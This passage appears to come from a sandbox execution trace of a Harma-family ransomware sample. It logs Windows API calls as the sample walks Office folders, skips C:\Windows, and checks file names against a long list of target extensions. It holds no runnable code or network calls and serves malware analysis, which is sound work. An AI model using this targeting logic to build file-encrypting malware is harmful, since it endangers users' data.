(lpString=".3g2") returned 4 [0132.310] lstrcmpiW (lpString1=".3g2", lpString2="arma") returned -1 [0132.310] lstrlenW (lpString=".3gp") returned 4 [0132.310] lstrcmpiW (lpString1=".3gp", lpString2="arma") returned -1 [0132.310] lstrlenW (lpString=".7z") returned 3 [0132.310] lstrcmpiW (lpString1=".7z", lpString2="rma") returned -1 [0132.310] lstrlenW (lpString=".accda") returned 6 [0132.310] lstrcmpiW (lpString1=".accda", lpString2=".harma") returned -1 [0132.310] lstrlenW (lpString=".accdb") returned 6 [0132.311] lstrcmpiW (lpString1=".accdb", lpString2=".harma") returned -1 [0132.311] lstrlenW (lpString=".accdc") returned 6 [0132.311] lstrcmpiW (lpString1=".accdc", lpString2=".harma") returned -1 [0132.311] lstrlenW (lpString=".accde") returned 6 [0132.311] lstrcmpiW (lpString1=".accde", lpString2=".harma") returned -1 [0132.311] lstrlenW (lpString=".accdt") returned 6 [0132.311] lstrcmpiW (lpString1=".accdt", lpString2=".harma") returned -1 [0132.311] lstrlenW (lpString=".accdw") returned 6 [0132.311] lstrcmpiW (lpString1=".accdw", lpString2=".harma") returned -1 [0132.311] lstrlenW (lpString=".adb") returned 4 [0132.311] lstrcmpiW (lpString1=".adb", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".adp") returned 4 [0132.311] lstrcmpiW (lpString1=".adp", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai") returned 3 [0132.311] lstrcmpiW (lpString1=".ai", lpString2="rma") returned -1 [0132.311] lstrlenW (lpString=".ai3") returned 4 [0132.311] lstrcmpiW (lpString1=".ai3", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai4") returned 4 [0132.311] lstrcmpiW (lpString1=".ai4", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai5") returned 4 [0132.311] lstrcmpiW (lpString1=".ai5", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai6") returned 4 [0132.311] lstrcmpiW (lpString1=".ai6", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai7") returned 4 [0132.311] lstrcmpiW (lpString1=".ai7", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".ai8") returned 4 [0132.311] lstrcmpiW (lpString1=".ai8", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".anim") returned 5 [0132.311] lstrcmpiW (lpString1=".anim", lpString2="harma") returned -1 [0132.311] lstrlenW (lpString=".arw") returned 4 [0132.311] lstrcmpiW (lpString1=".arw", lpString2="arma") returned -1 [0132.311] lstrlenW (lpString=".as") returned 3 [0132.311] lstrcmpiW (lpString1=".as", lpString2="rma") returned -1 [0132.311] lstrlenW (lpString=".asa") returned 4 [0132.312] lstrcmpiW (lpString1=".asa", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".asc") returned 4 [0132.312] lstrcmpiW (lpString1=".asc", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".ascx") returned 5 [0132.312] lstrcmpiW (lpString1=".ascx", lpString2="harma") returned -1 [0132.312] lstrlenW (lpString=".asm") returned 4 [0132.312] lstrcmpiW (lpString1=".asm", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".asmx") returned 5 [0132.312] lstrcmpiW (lpString1=".asmx", lpString2="harma") returned -1 [0132.312] lstrlenW (lpString=".asp") returned 4 [0132.312] lstrcmpiW (lpString1=".asp", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".aspx") returned 5 [0132.312] lstrcmpiW (lpString1=".aspx", lpString2="harma") returned -1 [0132.312] lstrlenW (lpString=".asr") returned 4 [0132.312] lstrcmpiW (lpString1=".asr", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".asx") returned 4 [0132.312] lstrcmpiW (lpString1=".asx", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".avi") returned 4 [0132.312] lstrcmpiW (lpString1=".avi", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".avs") returned 4 [0132.312] lstrcmpiW (lpString1=".avs", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".backup") returned 7 [0132.312] lstrcmpiW (lpString1=".backup", lpString2="].harma") returned -1 [0132.312] lstrlenW (lpString=".bak") returned 4 [0132.312] lstrcmpiW (lpString1=".bak", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".bay") returned 4 [0132.312] lstrcmpiW (lpString1=".bay", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".bd") returned 3 [0132.312] lstrcmpiW (lpString1=".bd", lpString2="rma") returned -1 [0132.312] lstrlenW (lpString=".bin") returned 4 [0132.312] lstrcmpiW (lpString1=".bin", lpString2="arma") returned -1 [0132.312] lstrlenW (lpString=".bmp") returned 4 [0132.312] lstrcmpiW (lpString1=".bmp", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".bz2") returned 4 [0132.313] lstrcmpiW (lpString1=".bz2", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".c") returned 2 [0132.313] lstrcmpiW (lpString1=".c", lpString2="ma") returned -1 [0132.313] lstrlenW (lpString=".cdr") returned 4 [0132.313] lstrcmpiW (lpString1=".cdr", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cer") returned 4 [0132.313] lstrcmpiW (lpString1=".cer", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cf") returned 3 [0132.313] lstrcmpiW (lpString1=".cf", lpString2="rma") returned -1 [0132.313] lstrlenW (lpString=".cfc") returned 4 [0132.313] lstrcmpiW (lpString1=".cfc", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cfm") returned 4 [0132.313] lstrcmpiW (lpString1=".cfm", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cfml") returned 5 [0132.313] lstrcmpiW (lpString1=".cfml", lpString2="harma") returned -1 [0132.313] lstrlenW (lpString=".cfu") returned 4 [0132.313] lstrcmpiW (lpString1=".cfu", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".chm") returned 4 [0132.313] lstrcmpiW (lpString1=".chm", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cin") returned 4 [0132.313] lstrcmpiW (lpString1=".cin", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".class") returned 6 [0132.313] lstrcmpiW (lpString1=".class", lpString2=".harma") returned -1 [0132.313] lstrlenW (lpString=".clx") returned 4 [0132.313] lstrcmpiW (lpString1=".clx", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".config") returned 7 [0132.313] lstrcmpiW (lpString1=".config", lpString2="].harma") returned -1 [0132.313] lstrlenW (lpString=".cpp") returned 4 [0132.313] lstrcmpiW (lpString1=".cpp", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".cr2") returned 4 [0132.313] lstrcmpiW (lpString1=".cr2", lpString2="arma") returned -1 [0132.313] lstrlenW (lpString=".crt") returned 4 [0132.313] lstrcmpiW (lpString1=".crt", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".crw") returned 4 [0132.314] lstrcmpiW (lpString1=".crw", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".cs") returned 3 [0132.314] lstrcmpiW (lpString1=".cs", lpString2="rma") returned -1 [0132.314] lstrlenW (lpString=".css") returned 4 [0132.314] lstrcmpiW (lpString1=".css", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".csv") returned 4 [0132.314] lstrcmpiW (lpString1=".csv", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".cub") returned 4 [0132.314] lstrcmpiW (lpString1=".cub", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dae") returned 4 [0132.314] lstrcmpiW (lpString1=".dae", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dat") returned 4 [0132.314] lstrcmpiW (lpString1=".dat", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".db") returned 3 [0132.314] lstrcmpiW (lpString1=".db", lpString2="rma") returned -1 [0132.314] lstrlenW (lpString=".dbf") returned 4 [0132.314] lstrcmpiW (lpString1=".dbf", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dbx") returned 4 [0132.314] lstrcmpiW (lpString1=".dbx", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dc3") returned 4 [0132.314] lstrcmpiW (lpString1=".dc3", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dcm") returned 4 [0132.314] lstrcmpiW (lpString1=".dcm", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dcr") returned 4 [0132.314] lstrcmpiW (lpString1=".dcr", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".der") returned 4 [0132.314] lstrcmpiW (lpString1=".der", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dib") returned 4 [0132.314] lstrcmpiW (lpString1=".dib", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dic") returned 4 [0132.314] lstrcmpiW (lpString1=".dic", lpString2="arma") returned -1 [0132.314] lstrlenW (lpString=".dif") returned 4 [0132.314] lstrcmpiW (lpString1=".dif", lpString2="arma") returned -1 [0132.315] lstrlenW (lpString=".divx") returned 5 [0132.315] lstrcmpiW (lpString1=".divx", lpString2="harma") returned -1 [0132.315] lstrlenW (lpString=".djvu") returned 5 [0132.315] lstrcmpiW (lpString1=".djvu", lpString2="harma") returned -1 [0132.315] lstrlenW (lpString=".dng") returned 4 [0132.315] lstrcmpiW (lpString1=".dng", lpString2="arma") returned -1 [0132.315] lstrlenW (lpString=".doc") returned 4 [0132.315] lstrcmpiW (lpString1=".doc", lpString2="arma") returned -1 [0132.315] lstrlenW (lpString=".docm") returned 5 [0132.315] lstrcmpiW (lpString1=".docm", lpString2="harma") returned -1 [0132.315] lstrlenW (lpString=".docx") returned 5 [0132.315] lstrcmpiW (lpString1=".docx", lpString2="harma") returned -1 [0132.315] lstrlenW (lpString=".dot") returned 4 [0132.315] lstrcmpiW (lpString1=".dot", lpString2="arma") returned -1 [0132.315] lstrlenW (lpString=".dotm") returned 5 [0132.315] lstrcmpiW (lpString1=".dotm", lpString2="harma") returned -1 [0132.315] lstrlenW (lpString=".dotx") returned 5 [0132.315] lstrcmpiW (lpString1=".dotx", lpString2="harma") returned -1 [0132.316] lstrlenW (lpString=".dpx") returned 4 [0132.316] lstrcmpiW (lpString1=".dpx", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dqy") returned 4 [0132.316] lstrcmpiW (lpString1=".dqy", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dsn") returned 4 [0132.316] lstrcmpiW (lpString1=".dsn", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dt") returned 3 [0132.316] lstrcmpiW (lpString1=".dt", lpString2="rma") returned -1 [0132.316] lstrlenW (lpString=".dtd") returned 4 [0132.316] lstrcmpiW (lpString1=".dtd", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dwg") returned 4 [0132.316] lstrcmpiW (lpString1=".dwg", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dwt") returned 4 [0132.316] lstrcmpiW (lpString1=".dwt", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".dx") returned 3 [0132.316] lstrcmpiW (lpString1=".dx", lpString2="rma") returned -1 [0132.316] lstrlenW (lpString=".dxf") returned 4 [0132.316] lstrcmpiW (lpString1=".dxf", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".edml") returned 5 [0132.316] lstrcmpiW (lpString1=".edml", lpString2="harma") returned -1 [0132.316] lstrlenW (lpString=".efd") returned 4 [0132.316] lstrcmpiW (lpString1=".efd", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".elf") returned 4 [0132.316] lstrcmpiW (lpString1=".elf", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".emf") returned 4 [0132.316] lstrcmpiW (lpString1=".emf", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".emz") returned 4 [0132.316] lstrcmpiW (lpString1=".emz", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".epf") returned 4 [0132.316] lstrcmpiW (lpString1=".epf", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".eps") returned 4 [0132.316] lstrcmpiW (lpString1=".eps", lpString2="arma") returned -1 [0132.316] lstrlenW (lpString=".epsf") returned 5 [0132.316] lstrcmpiW (lpString1=".epsf", lpString2="harma") returned -1 [0132.317] lstrlenW (lpString=".epsp") returned 5 [0132.317] lstrcmpiW (lpString1=".epsp", lpString2="harma") returned -1 [0132.317] lstrlenW (lpString=".erf") returned 4 [0132.317] lstrcmpiW (lpString1=".erf", lpString2="arma") returned -1 [0132.317] lstrlenW (lpString=".exr") returned 4 [0132.317] lstrcmpiW (lpString1=".exr", lpString2="arma") returned -1 [0132.317] lstrlenW (lpString=".f4v") returned 4 [0132.317] lstrcmpiW (lpString1=".f4v", lpString2="arma") returned -1 [0132.317] lstrlenW (lpString=".fido") returned 5 [0132.317] lstrcmpiW (lpString1=".fido", lpString2="harma") returned -1 [0132.317] lstrlenW (lpString=".flm") returned 4 [0132.317] lstrcmpiW (lpString1=".flm", lpString2="arma") returned -1 [0132.317] lstrlenW (lpString=".flv") returned 4 [0132.317] lstrcmpiW (lpString1=".flv", lpString2="arma") returned -1 [0132.317] lstrlenW (lpString=".frm") returned 4 [0132.317] lstrcmpiW (lpString1=".frm", lpString2="arma") returned -1 [0132.320] FindNextFileW (in: hFindFile=0x3c1a88, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcd168690, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcd168690, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.320] FindNextFileW (in: hFindFile=0x3c1a88, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0137.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0137.166] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.166] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0137.602] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.607] FindNextFileW (in: hFindFile=0x41915c0, lpFindFileData=0x327f58c | out: lpFindFileData=0x327f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0138.805] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.829] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0138.846] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.846] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0139.252] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.252] FindNextFileW (in: hFindFile=0x4191580, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="_CONNE~1.ODC")) returned 1 [0140.833] FindClose (in: hFindFile=0x41916c0 | out: hFindFile=0x41916c0) returned 1 [0140.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x426df68 | out: hHeap=0x300000) returned 1 [0140.846] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x327ee18 | out: lpFindFileData=0x327ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentShare", cAlternateFileName="DOCUME~1")) returned 1 [0140.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned 83 [0140.846] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned 1 [0140.846] lstrlenW (lpString="DocumentShare") returned 13 [0140.846] lstrcmpiW (lpString1="C:\\Windows", lpString2="DocumentShare") returned -1 [0140.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x426df68 [0140.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare") returned 83 [0140.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0140.846] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.846] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x327eb9c | out: lpFindFileData=0x327eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0140.846] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34 [0140.846] lstrlenW (lpString=".1cd") returned 4 [0140.846] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".3ds") returned 4 [0140.847] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".3fr") returned 4 [0140.847] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".3g2") returned 4 [0140.847] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".3gp") returned 4 [0140.847] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".7z") returned 3 [0140.847] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0140.847] lstrlenW (lpString=".accda") returned 6 [0140.847] lstrcmpiW (lpString1=".accda", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".accdb") returned 6 [0140.847] lstrcmpiW (lpString1=".accdb", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".accdc") returned 6 [0140.847] lstrcmpiW (lpString1=".accdc", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".accde") returned 6 [0140.847] lstrcmpiW (lpString1=".accde", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".accdt") returned 6 [0140.847] lstrcmpiW (lpString1=".accdt", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".accdw") returned 6 [0140.847] lstrcmpiW (lpString1=".accdw", lpString2="nd.jpg") returned -1 [0140.847] lstrlenW (lpString=".adb") returned 4 [0140.847] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".adp") returned 4 [0140.847] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".ai") returned 3 [0140.847] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0140.847] lstrlenW (lpString=".ai3") returned 4 [0140.847] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0140.847] lstrlenW (lpString=".ai4") returned 4 [0140.848] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".ai5") returned 4 [0140.848] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".ai6") returned 4 [0140.848] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".ai7") returned 4 [0140.848] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".ai8") returned 4 [0140.848] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".anim") returned 5 [0140.848] lstrcmpiW (lpString1=".anim", lpString2="d.jpg") returned -1 [0140.848] lstrlenW (lpString=".arw") returned 4 [0140.848] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".as") returned 3 [0140.848] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0140.848] lstrlenW (lpString=".asa") returned 4 [0140.848] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".asc") returned 4 [0140.848] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".ascx") returned 5 [0140.848] lstrcmpiW (lpString1=".ascx", lpString2="d.jpg") returned -1 [0140.848] lstrlenW (lpString=".asm") returned 4 [0140.848] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".asmx") returned 5 [0140.848] lstrcmpiW (lpString1=".asmx", lpString2="d.jpg") returned -1 [0140.848] lstrlenW (lpString=".asp") returned 4 [0140.848] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0140.848] lstrlenW (lpString=".aspx") returned 5 [0140.848] lstrcmpiW (lpString1=".aspx", lpString2="d.jpg") returned -1 [0140.848] lstrlenW (lpString=".asr") returned 4 [0140.848] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".asx") returned 4 [0140.849] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".avi") returned 4 [0140.849] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".avs") returned 4 [0140.849] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0140.849] lstrlenW (lpString=".backup") returned 7 [0140.849] lstrcmpiW (lpString1=".backup", 